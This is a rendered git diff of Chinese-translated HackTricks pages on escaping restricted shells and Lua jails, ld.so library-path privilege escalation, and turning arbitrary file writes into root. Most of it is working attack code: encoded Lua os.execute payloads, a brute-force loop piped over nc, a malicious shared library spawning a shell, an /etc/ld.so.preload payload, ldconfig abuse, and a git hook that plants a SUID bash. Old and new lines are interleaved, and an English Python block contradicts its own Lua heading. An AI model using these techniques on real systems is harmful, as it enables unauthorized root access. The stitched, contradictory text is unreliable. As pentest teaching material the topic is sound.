[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
|
||||
**这个页面也很有趣:**
|
||||
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://gtfobins.github.io](https://gtfobins.github.io)\
|
||||
**以下页面也可能有趣:**
|
||||
|
||||
{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Python监狱
|
||||
## Python 监狱
|
||||
|
||||
关于从Python监狱中逃脱的技巧,请参考以下页面:
|
||||
关于逃离Python监狱的技巧,请参阅以下页面:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lua监狱
|
||||
## Lua 监狱
|
||||
|
||||
在这个页面上,您可以找到在Lua中可以访问的全局函数:[https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
在此页面中,你可以找到在Lua中可以访问的全局函数:[https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
|
||||
**使用命令执行的Eval:**
|
||||
```bash
|
||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||
```
|
||||
一些**在不使用点号的情况下调用库函数的技巧**:
|
||||
|
||||
- **Using the `import` statement**: You can import the library and then call its functions directly. For example, `import os; os.system('command')`.
|
||||
|
||||
- **Using the `__import__` function**: This function allows you to import a library dynamically and call its functions. For example, `__import__('os').system('command')`.
|
||||
|
||||
- **Using the `getattr` function**: This function allows you to get an attribute or function from a library and call it. For example, `getattr(__import__('os'), 'system')('command')`.
|
||||
|
||||
- **Using the `exec` function**: This function allows you to execute arbitrary code, including calling functions from a library. For example, `exec('__import__("os").system("command")')`.
|
||||
|
||||
- **Using the `globals` function**: This function returns a dictionary of the current global symbol table, which includes imported libraries. You can use it to call functions from a library. For example, `globals()['os'].system('command')`.
|
||||
|
||||
Remember to replace `'command'` with the desired command or function call.
|
||||
一些**不使用点调用库函数**的技巧:
|
||||
```bash
|
||||
print(string.char(0x41, 0x42))
|
||||
print(rawget(string, "char")(0x41, 0x42))
|
||||
```
|
||||
列举库的函数功能:
|
||||
列举库的函数:
|
||||
```bash
|
||||
for k,v in pairs(string) do print(k,v) end
|
||||
```
|
||||
请注意,每次在**不同的lua环境中执行上述一行命令时,函数的顺序会发生变化**。因此,如果您需要执行特定的函数,可以通过加载不同的lua环境并调用le库的第一个函数来进行暴力攻击:
|
||||
请注意,每次在**不同的lua环境中执行前面的单行命令时,函数的顺序都会改变**。因此,如果您需要执行一个特定的函数,您可以通过加载不同的lua环境并调用库的第一个函数来执行暴力破解攻击:
|
||||
```bash
|
||||
#In this scenario you could BF the victim that is generating a new lua environment
|
||||
#for every interaction with the following line and when you are lucky
|
||||
|
@ -331,7 +267,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
|||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
**获取交互式lua shell**:如果你在一个受限制的lua shell中,你可以调用以下命令获取一个新的lua shell(希望是无限制的):
|
||||
**获取交互式lua shell**:如果你处于一个受限的lua shell中,你可以通过以下方式调用来获取一个新的lua shell(希望是无限制的):
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
|
@ -341,12 +277,14 @@ debug.debug()
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击技巧!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,22 @@
|
|||
# ld.so特权升级漏洞示例
|
||||
# ld.so 权限提升漏洞示例
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 准备环境
|
||||
|
||||
在下面的部分,您可以找到我们将用于准备环境的文件的代码
|
||||
在以下部分,您可以找到我们将用来准备环境的文件代码
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sharedvuln.c" %}
|
||||
|
@ -28,34 +30,17 @@ vuln_func();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="libcustom.h" %}
|
||||
|
||||
```c
|
||||
#ifndef LIBCUSTOM_H
|
||||
#define LIBCUSTOM_H
|
||||
|
||||
void custom_function();
|
||||
|
||||
#endif
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="libcustom.h" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func();
|
||||
```
|
||||
{% tab title="libcustom.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void custom_function() {
|
||||
printf("This is a custom function\n");
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="libcustom.c" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -64,18 +49,17 @@ void vuln_func()
|
|||
puts("Hi");
|
||||
}
|
||||
```
|
||||
{% tabs %}
|
||||
{% tab title="中文" %}
|
||||
1. 在您的机器上的相同文件夹中**创建**这些文件
|
||||
2. **编译**该**库**:`gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. 将`libcustom.so` **复制**到`/usr/lib`:`sudo cp libcustom.so /usr/lib`(需要root权限)
|
||||
4. **编译**该**可执行文件**:`gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
1. **创建** 你的机器上同一文件夹中的这些文件
|
||||
2. **编译** **库文件**:`gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **复制** `libcustom.so` 到 `/usr/lib`:`sudo cp libcustom.so /usr/lib`(需要root权限)
|
||||
4. **编译** **可执行文件**:`gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
### 检查环境
|
||||
|
||||
检查_libcustom.so_是否从_/usr/lib_加载,并且您可以**执行**该二进制文件。
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
确认 _libcustom.so_ 正在从 _/usr/lib_ **加载**,并且你可以**执行**二进制文件。
|
||||
```
|
||||
$ ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
|
@ -87,14 +71,16 @@ $ ./sharedvuln
|
|||
Welcome to my amazing application!
|
||||
Hi
|
||||
```
|
||||
## Exploit
|
||||
## 利用
|
||||
|
||||
在这个场景中,我们假设**有人在_/etc/ld.so.conf/_文件中创建了一个易受攻击的条目**:
|
||||
```bash
|
||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||
```
|
||||
易受攻击的文件夹是 _/home/ubuntu/lib_(我们具有可写访问权限)。\
|
||||
**下载并编译**以下代码到该路径中:
|
||||
```markdown
|
||||
易受攻击的文件夹是 _/home/ubuntu/lib_(我们有写入权限的地方)。
|
||||
**下载并编译**以下代码在该路径内:
|
||||
```
|
||||
```c
|
||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||
|
||||
|
@ -109,9 +95,9 @@ printf("I'm the bad library\n");
|
|||
system("/bin/sh",NULL,NULL);
|
||||
}
|
||||
```
|
||||
现在我们已经在错误配置的路径中**创建了恶意的libcustom库**,我们需要等待**重新启动**或者等待root用户执行**`ldconfig`**(_如果你可以以**sudo**身份执行此二进制文件,或者它具有**suid位**,你将能够自己执行它_)。
|
||||
现在我们已经在配置错误的路径中**创建了恶意的 libcustom 库**,我们需要等待**重启**或者等待 root 用户执行 **`ldconfig`**(_如果你可以作为 **sudo** 执行这个二进制文件或者它有 **suid 位**,你将能够自己执行它_)。
|
||||
|
||||
一旦发生这种情况,**重新检查**`sharevuln`可执行文件从哪里加载`libcustom.so`库:
|
||||
一旦这发生,**重新检查** `sharevuln` 可执行文件从哪里加载 `libcustom.so` 库:
|
||||
```c
|
||||
$ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
|
@ -119,7 +105,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
```
|
||||
正如你所看到的,它正在从 `/home/ubuntu/lib` 加载,并且如果任何用户执行它,将执行一个 shell:
|
||||
如您所见,它**从 `/home/ubuntu/lib` 加载**,如果任何用户执行它,将执行一个 shell:
|
||||
```c
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
|
@ -128,26 +114,26 @@ $ whoami
|
|||
ubuntu
|
||||
```
|
||||
{% hint style="info" %}
|
||||
请注意,这个例子中我们没有提升权限,但是通过修改执行的命令并**等待root用户或其他特权用户执行易受攻击的二进制文件**,我们可以提升权限。
|
||||
请注意,在此示例中我们并未提升权限,但通过修改执行的命令并**等待 root 或其他具有特权的用户执行易受攻击的二进制文件**,我们将能够提升权限。
|
||||
{% endhint %}
|
||||
|
||||
### 其他配置错误 - 相同的漏洞
|
||||
### 其他错误配置 - 相同漏洞
|
||||
|
||||
在前面的例子中,我们伪造了一个配置错误,其中管理员**在`/etc/ld.so.conf.d/`目录下的配置文件中设置了一个非特权文件夹**。\
|
||||
但是还有其他的配置错误可能导致相同的漏洞,如果您在`/etc/ld.so.conf.d`目录下的某个**配置文件**、`/etc/ld.so.conf.d`目录或`/etc/ld.so.conf`文件中具有**写权限**,您可以配置相同的漏洞并利用它。
|
||||
在前面的示例中,我们伪造了一个错误配置,管理员在 `/etc/ld.so.conf.d/` 内的配置文件中**设置了一个非特权文件夹**。\
|
||||
但是,如果您对 `/etc/ld.so.conf.d` 内的某些**配置文件**、文件夹 `/etc/ld.so.conf.d` 或文件 `/etc/ld.so.conf` 有**写权限**,还有其他错误配置可能导致相同的漏洞,您可以配置相同的漏洞并利用它。
|
||||
|
||||
## Exploit 2
|
||||
## 利用 2
|
||||
|
||||
**假设您对`ldconfig`拥有sudo特权**。\
|
||||
您可以指定`ldconfig`**从哪里加载配置文件**,因此我们可以利用它来使`ldconfig`加载任意文件夹。\
|
||||
因此,让我们创建所需的文件和文件夹以加载"/tmp":
|
||||
**假设您对 `ldconfig` 有 sudo 权限**。\
|
||||
您可以指示 `ldconfig` **从哪里加载配置文件**,因此我们可以利用它让 `ldconfig` 加载任意文件夹。\
|
||||
那么,让我们创建文件和文件夹以加载 "/tmp":
|
||||
```bash
|
||||
cd /tmp
|
||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||
echo "/tmp" > conf/evil.conf
|
||||
```
|
||||
现在,如前面的漏洞所示,在`/tmp`目录下创建恶意库。\
|
||||
最后,加载路径并检查二进制文件从哪里加载库:
|
||||
现在,如**前面的漏洞**所示,**在`/tmp`内创建恶意库**。\
|
||||
最后,让我们加载路径并检查二进制文件从哪里加载库:
|
||||
```bash
|
||||
ldconfig -f fake.ld.so.conf
|
||||
|
||||
|
@ -157,10 +143,10 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
```
|
||||
**正如你所看到的,如果你拥有对`ldconfig`的sudo权限,你可以利用同样的漏洞。**
|
||||
**正如您所见,如果您对`ldconfig`有sudo权限,您可以利用相同的漏洞。**
|
||||
|
||||
{% hint style="info" %}
|
||||
如果`ldconfig`配置了**suid位**,我**没有找到**可靠的利用方式来利用这个漏洞。会出现以下错误:`/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
|
||||
我**没有找到**一个可靠的方法来利用这个漏洞,如果`ldconfig`配置了**suid位**。以下错误会出现:`/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
|
||||
{% endhint %}
|
||||
|
||||
## 参考资料
|
||||
|
@ -171,12 +157,14 @@ libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,23 @@
|
|||
# 向根目录写入任意文件
|
||||
# 任意文件写入到 Root
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
### /etc/ld.so.preload
|
||||
|
||||
这个文件的行为类似于**`LD_PRELOAD`**环境变量,但它也适用于**SUID二进制文件**。\
|
||||
如果你可以创建或修改它,你可以添加一个**将在每个执行的二进制文件中加载的库的路径**。
|
||||
此文件的行为类似于 **`LD_PRELOAD`** 环境变量,但它也适用于 **SUID 二进制文件**。\
|
||||
如果您可以创建或修改它,您可以添加一个**将要加载的库的路径**,每个执行的二进制文件都会加载这个库。
|
||||
|
||||
例如:`echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||||
```c
|
||||
|
@ -32,27 +34,27 @@ system("/bin/bash");
|
|||
//cd /tmp
|
||||
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
### Git钩子
|
||||
### Git 钩子
|
||||
|
||||
[**Git钩子**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)是在git存储库中的各种事件上运行的**脚本**,比如创建提交、合并等。因此,如果一个**特权脚本或用户**频繁执行这些操作,并且可以**写入`.git`文件夹**,那么可以利用这一点进行**权限提升**。
|
||||
[**Git 钩子**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) 是在 git 仓库中的各种**事件**发生时会**运行**的**脚本**,比如当创建一个提交,合并等。因此,如果一个**拥有特权的脚本或用户**经常执行这些操作,并且可以**写入 `.git` 文件夹**,这可以被用来进行**权限提升**。
|
||||
|
||||
例如,可以在git存储库的**`.git/hooks`**目录中生成一个脚本,以便在创建新提交时始终执行:
|
||||
例如,可以在 git 仓库的 **`.git/hooks`** 中**生成一个脚本**,这样每当创建新的提交时就会执行:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
|
||||
chmod +x pre-commit
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击技巧,参加</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue